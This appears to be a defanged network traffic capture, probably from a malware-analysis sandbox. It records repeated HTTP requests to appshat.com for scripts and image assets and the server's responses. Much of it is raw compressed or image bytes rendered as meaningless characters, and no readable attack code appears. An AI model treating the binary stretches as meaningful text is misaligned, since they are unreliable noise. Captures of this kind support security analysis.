...........c.*iN.......?....L.B..%... ...1.b...._....S`.9..S.....B....
.2y.....`.....Zugx.:O)}........C.?]....%......(4...d...... ..0./.!.S..
%.%...d...f.b.J.i..-.][email protected]>0"..(
....L./...4[..;n.x..=.(..A...P.T..AD.X .\x......D.Gq6&p)x.b._...7..D..
.''....C..jA,.......Q..7.. #..3.{...1..p..:..Y....P...0g ..&.......k{.
E....JV.......=..y:[email protected].. `.[.\t"..g8...b*X..aZ...\...'.<Z
/........a..0.v.n..4|.......G.S. D..g7..;.....m./.U..j}`..~....yP...#"
....3;T%.g.1....Y^B.....J.........|..:.s.5.l...C....M.W..fk.......c...
.K..a..}."......n...#....._.iV....u.-d..f...:=..|..T..Nr...E.P6.hK{7..
.r...#=.P..T.6.t...S....x......Oaq........#..:9....5Xa.q{..I!........8
.Z)..BQ.x..?6..{^.<Q...|[email protected].}w...e..!..........(....3..P
..6...M.t..t.Z8%....9.....5...o.H.....P.......c..p..CTu..~..[..PP.....
...... ....la..5 bv.@......|.......0......
<<< skipped >>>

GET /js/scripts.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=n891rv0e2muin5d9k982g6l523


HTTP/1.1 200 OK

Server: nginx

Date: Sat, 18 Apr 2015 07:36:32 GMT

Content-Type: application/x-javascript

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Expires: Sat, 18 Apr 2015 08:06:32 GMT

Cache-Control: max-age=1800

Content-Encoding: gzip
1ff.............T.n.0... ...S.!%-b..zp..P.h..g..V....H.9....zDJ.....`.
..vvv..|....52.)..[.w._5.......JW...2.W.*..j.. X.....~} *.>?[]|....
Q..&s.[.....tA.7..D...n.Z!s.^....c|.8..l/..J..w..L).XU'.FLvV.0...w...(
.........s.........S_2....w.V{....|.|.3.".f"....X....v)Gq.g..kG..z6...
.B...E..G.B...........4.k=.h0...4..kJ;.. ........u@.(...M.{ 2:..sa....
...CBx.......:..>k.....T..d1..........'.d.......9.n."...c:quU.tP...
F.:.g.-Z...q{...z....W.Nw...O..4.....x.;y}K...$E.E...T...X..%.Y...-...
....)C=...x......>:....G.&.|......0......


GET /js/lightbox.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=n891rv0e2muin5d9k982g6l523


HTTP/1.1 200 OK

Server: nginx

Date: Sat, 18 Apr 2015 07:36:32 GMT

Content-Type: application/x-javascript

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Expires: Sat, 18 Apr 2015 08:06:32 GMT

Cache-Control: max-age=1800

Content-Encoding: gzip
bde.............Zyo.......SUXJ..JR..:....t..q..X.A.P.H..".<|..w....
K...N`.3..y...h...4^o.ev....O...7.4........A....,w.........H..a...^g9.
f9gq...mP.Y:g.q...#...Z...7..."Q../F`$.i.#[email protected].....(.<^V
D..].`,....o..g..D..b..Y.h1:b..s.~YU..l.....y..A..4b...a.W.-...~......
,..e..YP...L.-...$N/.........~.AX..0:...E.....,.?ve.N ...$.....%....U.
.f.fJ./.m.q..(.o.mP..U.)..8...J2.*fb.q..b....M..4..xY. ."/.....|]-yz..
i..7>mF...fZ....';.[..p>.z..$(yQ....HP..Z..z....F..2.,[.0...e1z.
.1.x..#.H).v....e^.e..-N...xJX....$.......B].7.`M.E.oNd.8..]l. ='6....
.../9.&t"..'Y....z...V..MI.o..2..H.Gq...PK^..'...F..!{.R~.=.....v..f.j
.#.e..R.r:c..1v.c...*...>.a.....{........:V,aL.i.VtiI.....'....R.6o
..y-H......{*.:@'IV..rAB..w......a..r.j.....u.A.N?iL'..'..X<.k.b...
...JM.....yY.iS.B.....&.....#.gh.b.C=.X..e...O.k.a..0,..7p..Xr......L.
.%bjcZ.|a.........%3.J..h.h.".[4..T..9$$.n".._.......:...[f..7...^..z.
...|.....6..pt...A,4..s.rg../<.t2.k..<..5/gJb........[-......ow.
.. MP.5$0..........z..3O..].<.n<..v.. ....#..sH...... 8.Q..8L...
...QV..q..B....s7t.]7..1 ........`....V......&...H.ui. ..`..e.$....4..
P..yx,=..1-.n.h..A.#|......^*.....[..t......M.:..V..{R..$"..).?gB.m.lc
n..g.....3.|.c......Nf.o.YN..x..%.2.."_q2!..gy. .......p...}...^.y3...
.Q...p?.aN....=..a.....m.kR(N.=U#....=..Q;r........Y..y..X.!...;..m..!
..7.....6.....%...j.]!.....)V..~.. _.sTo.9..p.._r....d*!...2.F.!.$<
.4....OP..Y...~.8.....(.6....2N......=".......|.U....o........#.[..i.J
.........&....S(.M.......$o.ia.$}.C.}v8..s...U....Ca.^....l...7.. <<< skipped >>>

GET /thumbnails/banner/images/assets/b/4/b43daeae6aca6ab7d6a00084494d81db.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=n891rv0e2muin5d9k982g6l523


HTTP/1.1 200 OK

Server: nginx

Date: Sat, 18 Apr 2015 07:36:32 GMT

Content-Type: image/png

Content-Length: 198243

Last-Modified: Fri, 14 Jun 2013 16:44:16 GMT

Connection: keep-alive

ETag: "51bb4860-30663"

Expires: Sat, 18 Apr 2015 08:06:32 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR.............X.h.....sBIT.....O... .IDATx...w.&Wu x...
....b..ARK.R....!..F..hl....'f.=..w.cX...k.8`.g........2`[email protected]'uN
/..............}..........n87.t.=...%....:..%YC....^')..}...S....L...R
.b...MM`.......3sD.....[?eM4?.8x.. "..._(...Y{i}.Y......._D&.'. XZX...
U.;.~..?...Wk.w8`.u..j...R./..4.4.."...~an6......p=5>.n..Y....i.K..
'..b.X*.?}.e...P.bzr...s..Z.W....:5......./.@...[c.`J.%..u...D.`$..yP.
....$............N(........<f3</..,...E.8.....`.\.bD.E,. b....J.
...m...BZ..Of.H...3....w.A...$.{..:....x.. B...k..R.H.[i.....W..|:.. .
.S..Ug.....C..e.....Sa...zF.V.[.l..=.*`...HX.m.j[..>~....\.."..._..
kEN..XDl.%...=....&..........T..^T{=mK....m2....Jlg.]*.....O......Z!..
3..........Ua.....`o... `...\.J._VK@/$.lyv...'......}7.7.L=.4.... !K..
I.].l...""..Bz4.....)./. "....0.. ..........%U.:[email protected]..
.../m..V...9...\e.....A.1..X...1.V=xz/...b.^.P.....,.X....;<...4z.3
g`..V.7..A.Vk.........B.{d....p./......d.d...HGU..}IX.....htP......;..
U(......U.&*TR..k.w#.(.q'vT./.z....P...... ....9..H..5^....Q ...J....a
.V2.t[}..[....p..iH.....z...c.....<...T3h..*m...'_.`2 .5..`..c.... 
&....0(&.....H.....f..U..IX.........# b{J.=.Y5t..Y..*....^...-i.....~g
...b..$..y....W...5...p.<m..>U. .....jT.....*K2t3.]..v.....3.`..
]l5..b.H.........f.P.Z:[email protected][email protected].\;.."V..{......v.
.p...F..m...l}....I.z....@B. ...w.66.......k.'f#AHT......(.6eW.vgr90..
N:.A....,..a."us.l.n..7... .....-q..c...C.h.,.wXk-T,.f.....l.....0.p!.
=.AF....5...`h...N.....m.....H.t..._..1.t...1..2C3.../F.N/..&."...<<< skipped >>>

GET /thumbnails/banner/images/assets/1/3/13a052a6d8c62b7831aa10e2f6f37454.jpg HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=n891rv0e2muin5d9k982g6l523


HTTP/1.1 200 OK

Server: nginx

Date: Sat, 18 Apr 2015 07:36:32 GMT

Content-Type: image/jpeg

Content-Length: 14828

Last-Modified: Sun, 28 Jul 2013 10:29:05 GMT

Connection: keep-alive

ETag: "51f4f271-39ec"

Expires: Sat, 18 Apr 2015 08:06:32 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
......JFIF............................................................
......................................................................
..................../.u..".........................................._.
..........................!..1A."Qa..#2q...B....$3RSTUbrs....&456ctu..
.......Þ...Cde.....................................4................
......!..1AQa.."q....#B..23R...br.............?...)J.)J.)J.)J.)J.)J.)J
.)J.)J.)J.)J.)J.)J.)J.)J.)J.)J.)J.)J.)J.)J.)J.)J.)J.)J.)J.)T..iJP)JP)J
P)J.j......AZR..R..R..R..R..R..R..R..R..R..R..R..R..R..R..R..R..R.M...
u.:..~....[).....R.2C.H..%e..b...Eq...3.l......v......Y.[.W.&e....~X).
5...-.........Q.W;.;..L.....g.c3.n..Ls[. ....'f..iq...[Ga.>.-1m..=a
.:..{p7.....j.u..[w;...L........Q.|.......a.u..'.v].........1]m..7Ab.P
>qU.......@<.........Rut.]..7...Y..h.....2...........O...Ht.I...
.2E>6.}..Vr.4\DJ.....0(..2.vq..r.4t.3..3X....4\6.....:..s"...`.,..p
T..fVD..Y.$...u....x.......'.v.A.K.......%s.=k).5..Z...ty.K....z=...f.
.m.h.X............wr..j....xv[...%..&...;c",.....h.....H...}R.*..(A ..
{..u.V..-:..viG9....1..LRM....pL...U...3..M..R#W..N>..... ..-j....k
..<v......ed.)Ni..,..<6.Y..a.a..ot.p.E.........n..dl..bg.H.....1
...T.._*.:'...|.t...7s.)R.)JP)J.....=...U........r<v:.>.........
..~]...=../....M..P?....9.qqn...p.]..-.2.0.i.M..e..e/2..KF.m`U.$GS..7V
GR:2..`.4._.........sj...n!.i#1I.I.x.".<n..T.e|.poR^.;..Z...9m.r...
c%.V.........X.s.#.6.|Y..2.5.,bw......3m9..Y...m`..cF..ZhcxT.0.1...t-~
..c..h..U........*.J.>.Z...9...F.v..p%...b..8.....G.......5....<<< skipped >>>

GET /images/4.5stars.jpg HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=n891rv0e2muin5d9k982g6l523


HTTP/1.1 200 OK

Server: nginx

Date: Sat, 18 Apr 2015 07:36:32 GMT

Content-Type: image/jpeg

Content-Length: 2275

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

Connection: keep-alive

ETag: "5214ef07-8e3"

Expires: Sat, 18 Apr 2015 08:06:32 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
......Exif..II*.................Ducky.......P..... hXXp://ns.adobe.com
/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> 
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c01
1 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="h
ttp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rd
f:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="
hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.a
dobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:C50CBA34D0FE11E2A837F7F58
4958E09" xmpMM:InstanceID="xmp.iid:C50CBA33D0FE11E2A837F7F584958E09" x
mp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFr
om stRef:instanceID="xmp.iid:D2ECCA94C82C11E2B97E98D68EE09333" stRef:d
ocumentID="xmp.did:D2ECCA95C82C11E2B97E98D68EE09333"/> </rdf:Des
cription> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?
>....Adobe.d.......................................................
......................................................................
......................9...............................................
.....................................!.......1"a2B34AQ.bc.............
........!..1A....a2...Qq."BR%.b#...3.$............?...3...y{....oT..w.
..W<.>V....*....e..,..X}P....O..d...<.......5MuV6.w.3....o/q$
Tb."*.[.K..J...h.....]..........\v.-I..f.$~...H.........Z.....U33\.7.J
.N.GA<-..-.....RK...L..}..........i..[.V.m.k.v.T..ze.b[.u..2...6"..
..).q....?.:.n#t&..g..`.."*.D.;.. ..1'..2...L.*....eTIW.LOtaAO.`&l<<< skipped >>>

GET /thumbnails/icon/images/assets/0/7/07fce0a4ff78cc7e6376e227f046ce06.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=n891rv0e2muin5d9k982g6l523


HTTP/1.1 200 OK

Server: nginx

Date: Sat, 18 Apr 2015 07:36:32 GMT

Content-Type: image/png

Content-Length: 514647

Last-Modified: Thu, 13 Jun 2013 17:01:53 GMT

Connection: keep-alive

ETag: "51b9fb01-7da57"

Expires: Sat, 18 Apr 2015 08:06:32 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR..............x......pHYs................OiCCPPhotosho
p ICC profile..x..SgTS..=...BK...KoR.. RB....&*!..J.!...Q..EE.........
..Q,......!.........{.k........>...........H3Q5...B..........@..$p.
...d!s.#...~<< ".....x.....M..0.....B.\[email protected]..@F....
&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH..
...........0Q..)..{.`.##x.....F.W<. ...*..x..<.$9E.[.-q.WW..(.I.
 [email protected]..._-...."[email protected]~..,/...;.
.m..%..h^[email protected].~<<E.........J.B[a.W}.g._.W.l.~<..
....$.2].G......L......b...G.......".Ib.X*..Q.q.D...2.".B.).%..d..,..&
gt;.5..j>.{.-.]c..K'.Xt.......o..(...h...w..?.G.%..fI.q..^D$.T..?..
..D..*.A....,.........`6.B$..B.B.d..r`)..B(....*`/[email protected]..=p..
a...(....A...a!...b.X#......!.H...$ ...Q"K.5H1R.T UH..=r.9.\F..;..2...
.G1...Q=...C..7..F...dt1......r..=.6....h...>C.0....3.l0...B.8,..c.
."......V.....c..w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.X
H,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,  .......3...!.[.
[email protected].(R.jJ....4..e.2AU..R...T.5.ZB...R.Q...4u.9...IK......h.h.i..t.
....N..W...G.....w.......g(.....g.w...L......T071......oUX*.*|.....J.&
..*/T.......U.U.T..^S}.FU3S......U..P.S.Sg.;...g.oT?.~Y...Y.L.OC.Q.._.
.. .c..x,!k...u.5.&...|v*......=...9C3J3W.R..f?...q..tN..(...~....).).
.4L.1e\k....X.H.Q.G..6......E.Y...A.J'\'Gg.....S.S.....M=:....k....Dw.
n.....^..Lo..y....}/.T.m...G.X...$.....<.5qo<./...QC][email protected]....
..<..F.F..i.\.$.m.m..&.&!&KM.M..RM..).;L;L........5.=1.2.......<<< skipped >>>

GET /images/3.0stars.jpg HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=n891rv0e2muin5d9k982g6l523


HTTP/1.1 200 OK

Server: nginx

Date: Sat, 18 Apr 2015 07:36:32 GMT

Content-Type: image/jpeg

Content-Length: 2022

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

Connection: keep-alive

ETag: "5214ef07-7e6"

Expires: Sat, 18 Apr 2015 08:06:32 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
......Exif..II*.................Ducky.......P..... hXXp://ns.adobe.com
/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> 
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c01
1 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="h
ttp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rd
f:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="
hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.a
dobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:C0AD31E0CD1411E28C01DE2AF
24957C3" xmpMM:InstanceID="xmp.iid:C0AD31DFCD1411E28C01DE2AF24957C3" x
mp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFr
om stRef:instanceID="xmp.iid:D2ECCA94C82C11E2B97E98D68EE09333" stRef:d
ocumentID="xmp.did:D2ECCA95C82C11E2B97E98D68EE09333"/> </rdf:Des
cription> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?
>....Adobe.d.......................................................
......................................................................
......................9...............................................
.........................................!..1...Aa"2qB3Q..Rbc$&.......
................!1A...a2....Qq."BR%...b..#...$............?....Y..n...
VN\..(.Yy..........L...\.(- ..V|.....3......N.*..6i<MSJ.X.".,..isy{
."....U......%t.6..W~..d.......IjP...T........#V..[..%.`.f._....Si....
.W"t.:...B=./.....%...E36e..3i^..a'.}h..E.Q..Wy........r...G.tQIU.!.C&
%.\.s.....s0M.n..s,[email protected]..$......&UD.{..z...?...n<<< skipped >>>

GET /thumbnails/icon/images/assets/e/5/e54e8c720dffffa619c3b0eacec9381a.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=n891rv0e2muin5d9k982g6l523


HTTP/1.1 200 OK

Server: nginx

Date: Sat, 18 Apr 2015 07:36:32 GMT

Content-Type: image/png

Content-Length: 53266

Last-Modified: Thu, 13 Jun 2013 17:53:06 GMT

Connection: keep-alive

ETag: "51ba0702-d012"

Expires: Sat, 18 Apr 2015 08:06:32 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR..............x......sBIT....|.d.....pHYs...........~.
....tEXtSoftware.Adobe Fireworks CS5q..6....tEXtCreation Time.3/8/12bk
.... .IDATx...y.\.u/.jw.9G....c. C...;.  .&..2z..H.\..$..y....../..O|.
..I.5J.3v0F.....{.D0...f.1...61H.q.....{....=..VU..N.....].j....k..k.)
%0....../D.V..`0..F......`0.c.v.......C...`0..........`0....0....1.`..
.`0..1.;.....`.!..`0...c......`0.c.v.......C...`0..........`0....0....
1.`...`0..1.;.....`.!..`0...c......`0.c.v.......C...`0..........`0....
0....1.`...`0..1.;.....`.!..`0...c......`0.c.v.......C...`0..........`
0....0....1.`...`0..1.;.....`.!..`0...c......`0.c.v.......C...`0......
..B.S..C...g...?..g.....G..5\..B .,.....m.Jb[....- N.....a0..R}.r..1..
.w...g..".....S.....T.NF&n.f.%D.................0... .......T...'.w.).
i .e.R._a......g<eT..c9..x...(............%*.`xA.R.<...$jW......
.ih&.vaan../.LV..[...>.......M.X'.z...,.8b..e.W......8...J..`..S..Q
.......J..Ie..}z...G........D..t?..h.T....L..0..k...:p..1t.]y.....t...
...x.......y|y..../........%X9N.}.b2r..8..o..f0.....(a...H..j.R={.....
.K.....O9...W...a..16u..G..h.5.......#R...0....0... .:_.8^.......<t
x.go~.v...a7..5.9c-......R.J.B.>..b..:g./..8~....K..`..S...A.......
Ag.?......LW..g7..T"5..CxM....~.^ ..&....~cF...{[email protected]
$.N.....Qi].3q.f.s...q..H..N...Mcl.......~.....9.......S..fZ....!.....
0... .:A.x.H.....w7......'[email protected]
OF.....`.5...".j.r..........w-.S2*.0G....Q.i..R.2.._........P..=..."..
d....`..S_<...p.....\.5?...g.w....3.y.E~^)..q&.`..h.M>..~..B<<< skipped >>>

GET /thumbnails/icon/images/assets/5/8/589b1e936e1f038dc45bd8ffff59b359.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=n891rv0e2muin5d9k982g6l523


HTTP/1.1 200 OK

Server: nginx

Date: Sat, 18 Apr 2015 07:36:32 GMT

Content-Type: image/png

Content-Length: 101632

Last-Modified: Tue, 18 Jun 2013 12:27:16 GMT

Connection: keep-alive

ETag: "51c05224-18d00"

Expires: Sat, 18 Apr 2015 08:06:32 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR................l....pHYs................OiCCPPhotosho
p ICC profile..x..SgTS..=...BK...KoR.. RB....&*!..J.!...Q..EE.........
..Q,......!.........{.k........>...........H3Q5...B..........@..$p.
...d!s.#...~<< ".....x.....M..0.....B.\[email protected]..@F....
&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH..
...........0Q..)..{.`.##x.....F.W<. ...*..x..<.$9E.[.-q.WW..(.I.
 [email protected]..._-...."[email protected]~..,/...;.
.m..%..h^[email protected].~<<E.........J.B[a.W}.g._.W.l.~<..
....$.2].G......L......b...G.......".Ib.X*..Q.q.D...2.".B.).%..d..,..&
gt;.5..j>.{.-.]c..K'.Xt.......o..(...h...w..?.G.%..fI.q..^D$.T..?..
..D..*.A....,.........`6.B$..B.B.d..r`)..B(....*`/[email protected]..=p..
a...(....A...a!...b.X#......!.H...$ ...Q"K.5H1R.T UH..=r.9.\F..;..2...
.G1...Q=...C..7..F...dt1......r..=.6....h...>C.0....3.l0...B.8,..c.
."......V.....c..w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.X
H,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,  .......3...!.[.
[email protected].(R.jJ....4..e.2AU..R...T.5.ZB...R.Q...4u.9...IK......h.h.i..t.
....N..W...G.....w.......g(.....g.w...L......T071......oUX*.*|.....J.&
..*/T.......U.U.T..^S}.FU3S......U..P.S.Sg.;...g.oT?.~Y...Y.L.OC.Q.._.
.. .c..x,!k...u.5.&...|v*......=...9C3J3W.R..f?...q..tN..(...~....).).
.4L.1e\k....X.H.Q.G..6......E.Y...A.J'\'Gg.....S.S.....M=:....k....Dw.
n.....^..Lo..y....}/.T.m...G.X...$.....<.5qo<./...QC][email protected]....
..<..F.F..i.\.$.m.m..&.&!&KM.M..RM..).;L;L........5.=1.2.......<<< skipped >>>

GET /thumbnails/icon/images/assets/4/f/4f263f4be4c4396c9078d1874c05b928.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=n891rv0e2muin5d9k982g6l523

GET /images/4.0stars.jpg HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=n891rv0e2muin5d9k982g6l523

GET /thumbnails/icon/images/assets/0/6/0692c2494a7331a77c05954f79c5480a.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=n891rv0e2muin5d9k982g6l523

...

GET /thumbnails/icon/images/assets/a/c/ac5196fbf245580eee113296dff14d0b.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=n891rv0e2muin5d9k982g6l523


HTTP/1.1 200 OK

Server: nginx

Date: Sat, 18 Apr 2015 07:36:33 GMT

Content-Type: image/png

Content-Length: 154830

Last-Modified: Thu, 13 Jun 2013 17:45:49 GMT

Connection: keep-alive

ETag: "51ba054d-25cce"

Expires: Sat, 18 Apr 2015 08:06:33 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR.....................pHYs................ cHRM..m...s.
...u......z....g..0[....P.W...\TIDATx...o.^Ev....R.....h...h4......a0.
....L..,K0...L.!.....b..!....B.K0fYB0&,a.a.a....h.Y ..v..h5.Y#...hZ.U.
..m..{..9u.G....y...~.{...S.|......B..)R.H."E..)R.H."E.....(R.H."E..)R
.H."E..P.H."E..)R.H."E..).@."E..)R.H."E..)R...E..)R.H."E..)R.H....)R.H
."E..)R.H."E..P.H."E..)R.H."E..).@."E..)R.H."E..)R...E..)R.H."E..)R.H.
...)R.H."E..)R.H."..(R.H."E..)R.H."E....H."E..)R.H."E..)R.."E..)R.H."E
..)R.H....)R.H."E..)R.H."..(R.H."E..)R.H."E....H."E..)R.H."E..)R.."E..
)R.H."E..)R.H....)R.H."E..)R.H....)R.H."E..)R.H."E..P.H."E..)R.H."E..)
.@."E..)R.H."E..)R...E..)R.H."E..)R.H....)R.H."E..)R.H."E..P.H."E..)R.
H."E..).@."E..)R.H."E..)R...E..)R.H."E..)R.H....)R.H."E..)R.H."..(R.H.
"E..)R.H."E....H."E..)R.H."E..)R.."E..)R.H."E..)R.H....)R.H."E..)R.H."
..(R.H."E..)R.H."E....H."E..)R.H."E..)R.."E..)R.H."E..)R.H....)R.H."E.
.)R.H....)R.H."E..)R.H."E..P.H."E..)R.H."E..).@."E..)R.H."E..)R...E..)
R.H."E..)R.H....)R.H."E..)R.H."E..P.H."E..)R.H."E..).@."E..)R.H."E..)R
...E..)R.H."E..)R.H....)R.H."E..)R.H."..(R.H."E..)R.H."E....H."E..)R.H
."E..)R.."E..)R.H."E..)R.H....)R.H."E..)R.H."..(R.H."E..)R.H."E....H."
E..)R.H."E..)R.."E..)R.H."E..)R...E..)R.H."E..)R.H..w.*]..%.N...|...,.
4\].U...uMu=..^R.....7V?WWn...T.......zju=...W{..a..`.H."E..)R..K|....
:Y].U...u..n...t/..............|[email protected]..
^\]WU........Y.\)....:Q] ..S9....uau.S].W....._.|m...............e..)R
.H."E.|_.T..........[...l..=..WV.3.keO..H....... .8.....Wx.....Z..<<< skipped >>>

GET /thumbnails/icon/images/assets/3/6/36d7cd00f07003a67021237993257d08.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=n891rv0e2muin5d9k982g6l523

GET /thumbnails/icon/images/assets/0/0/00c73f6d4e4eb25289dddb86e2d1e319.jpg HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

